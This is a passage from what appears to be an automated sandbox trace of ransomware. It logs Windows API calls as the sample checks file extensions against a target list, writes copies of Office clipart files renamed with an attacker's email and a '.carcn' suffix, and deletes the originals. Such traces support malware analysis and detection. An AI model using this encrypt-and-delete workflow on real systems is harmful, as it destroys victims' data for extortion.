lpString2=".WMF") returned -1 [0307.181] lstrlenW (lpString=".bz2") returned 4 [0307.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.181] lstrlenW (lpString=".7z") returned 3 [0307.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0307.181] lstrlenW (lpString=".dbf") returned 4 [0307.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0307.181] lstrlenW (lpString=".1cd") returned 4 [0307.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0307.181] lstrlenW (lpString=".jpg") returned 4 [0307.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.181] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.181] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.182] GetLastError () returned 0x0 [0307.182] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x35f0, lpOverlapped=0x0) returned 1 [0307.202] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3600, lpOverlapped=0x0) returned 1 [0307.203] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.203] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.203] SetEndOfFile (hFile=0x348) returned 1 [0307.204] CloseHandle (hObject=0x348) returned 1 [0307.204] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.204] SetEndOfFile (hFile=0x324) returned 1 [0307.207] CloseHandle (hObject=0x324) returned 1 [0307.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0307.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0307.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0307.208] lstrlenW (lpString=".doc") returned 4 [0307.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.208] lstrlenW (lpString=".docx") returned 5 [0307.208] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.208] lstrlenW (lpString=".pdf") returned 4 [0307.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.208] lstrlenW (lpString=".xls") returned 4 [0307.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.208] lstrlenW (lpString=".xlsx") returned 5 [0307.208] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.208] lstrlenW (lpString=".ppt") returned 4 [0307.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0307.208] lstrlenW (lpString=".zip") returned 4 [0307.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.208] lstrlenW (lpString=".rar") returned 4 [0307.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.208] lstrlenW (lpString=".bz2") returned 4 [0307.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.208] lstrlenW (lpString=".7z") returned 3 [0307.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0307.209] lstrlenW (lpString=".dbf") returned 4 [0307.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0307.209] lstrlenW (lpString=".1cd") returned 4 [0307.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0307.209] lstrlenW (lpString=".jpg") returned 4 [0307.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.209] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.209] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.210] GetLastError () returned 0x0 [0307.210] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1204, lpOverlapped=0x0) returned 1 [0307.229] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1210, lpOverlapped=0x0) returned 1 [0307.230] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.230] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.230] SetEndOfFile (hFile=0x348) returned 1 [0307.230] CloseHandle (hObject=0x348) returned 1 [0307.230] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.230] SetEndOfFile (hFile=0x324) returned 1 [0307.231] CloseHandle (hObject=0x324) returned 1 [0307.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0307.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0307.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0307.232] lstrlenW (lpString=".doc") returned 4 [0307.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.233] lstrlenW (lpString=".docx") returned 5 [0307.233] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.233] lstrlenW (lpString=".pdf") returned 4 [0307.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.233] lstrlenW (lpString=".xls") returned 4 [0307.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.233] lstrlenW (lpString=".xlsx") returned 5 [0307.233] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.233] lstrlenW (lpString=".ppt") returned 4 [0307.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0307.233] lstrlenW (lpString=".zip") returned 4 [0307.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.233] lstrlenW (lpString=".rar") returned 4 [0307.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.233] lstrlenW (lpString=".bz2") returned 4 [0307.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.233] lstrlenW (lpString=".7z") returned 3 [0307.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0307.233] lstrlenW (lpString=".dbf") returned 4 [0307.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0307.233] lstrlenW (lpString=".1cd") returned 4 [0307.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0307.233] lstrlenW (lpString=".jpg") returned 4 [0307.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.234] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.234] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.235] GetLastError () returned 0x0 [0307.235] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0307.237] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x5c00, lpOverlapped=0x0) returned 1 [0307.238] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.238] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.238] SetEndOfFile (hFile=0x348) returned 1 [0307.239] CloseHandle (hObject=0x348) returned 1 [0307.239] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.239] SetEndOfFile (hFile=0x324) returned 1 [0307.240] CloseHandle (hObject=0x324) returned 1 [0307.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0307.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0307.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0307.241] lstrlenW (lpString=".doc") returned 4 [0307.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.241] lstrlenW (lpString=".docx") returned 5 [0307.241] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.241] lstrlenW (lpString=".pdf") returned 4 [0307.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.241] lstrlenW (lpString=".xls") returned 4 [0307.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.241] lstrlenW (lpString=".xlsx") returned 5 [0307.241] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.241] lstrlenW (lpString=".ppt") returned 4 [0307.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0307.241] lstrlenW (lpString=".zip") returned 4 [0307.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.242] lstrlenW (lpString=".rar") returned 4 [0307.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.242] lstrlenW (lpString=".bz2") returned 4 [0307.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.242] lstrlenW (lpString=".7z") returned 3 [0307.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0307.242] lstrlenW (lpString=".dbf") returned 4 [0307.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0307.242] lstrlenW (lpString=".1cd") returned 4 [0307.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0307.242] lstrlenW (lpString=".jpg") returned 4 [0307.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.243] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.243] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.244] GetLastError () returned 0x0 [0307.244] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0307.513] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2e80, lpOverlapped=0x0) returned 1 [0307.514] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.514] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.514] SetEndOfFile (hFile=0x348) returned 1 [0307.515] CloseHandle (hObject=0x348) returned 1 [0307.515] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.515] SetEndOfFile (hFile=0x324) returned 1 [0307.516] CloseHandle (hObject=0x324) returned 1 [0307.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0307.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0307.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0307.517] lstrlenW (lpString=".doc") returned 4 [0307.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.517] lstrlenW (lpString=".docx") returned 5 [0307.517] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.517] lstrlenW (lpString=".pdf") returned 4 [0307.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.517] lstrlenW (lpString=".xls") returned 4 [0307.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.517] lstrlenW (lpString=".xlsx") returned 5 [0307.517] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.517] lstrlenW (lpString=".ppt") returned 4 [0307.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0307.517] lstrlenW (lpString=".zip") returned 4 [0307.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.517] lstrlenW (lpString=".rar") returned 4 [0307.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.517] lstrlenW (lpString=".bz2") returned 4 [0307.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.518] lstrlenW (lpString=".7z") returned 3 [0307.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0307.518] lstrlenW (lpString=".dbf") returned 4 [0307.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0307.518] lstrlenW (lpString=".1cd") returned 4 [0307.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0307.518] lstrlenW (lpString=".jpg") returned 4 [0307.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.519] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.519] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.520] GetLastError () returned 0x0 [0307.520] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xbcc, lpOverlapped=0x0) returned 1 [0307.584] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0307.585] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.585] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.585] SetEndOfFile (hFile=0x348) returned 1 [0307.585] CloseHandle (hObject=0x348) returned 1 [0307.586] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.586] SetEndOfFile (hFile=0x324) returned 1 [0307.587] CloseHandle (hObject=0x324) returned 1 [0307.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0307.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0307.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0307.588] lstrlenW (lpString=".doc") returned 4 [0307.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.588] lstrlenW (lpString=".docx") returned 5 [0307.588] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.588] lstrlenW (lpString=".pdf") returned 4 [0307.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.588] lstrlenW (lpString=".xls") returned 4 [0307.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.588] lstrlenW (lpString=".xlsx") returned 5 [0307.588] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.588] lstrlenW (lpString=".ppt") returned 4 [0307.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0307.588] lstrlenW (lpString=".zip") returned 4 [0307.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.588] lstrlenW (lpString=".rar") returned 4 [0307.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.588] lstrlenW (lpString=".bz2") returned 4 [0307.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.588] lstrlenW (lpString=".7z") returned 3 [0307.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0307.588] lstrlenW (lpString=".dbf") returned 4 [0307.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0307.588] lstrlenW (lpString=".1cd") returned 4 [0307.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0307.589] lstrlenW (lpString=".jpg") returned 4 [0307.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.589] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.589] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0307.590] GetLastError () returned 0x0 [0307.590] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, 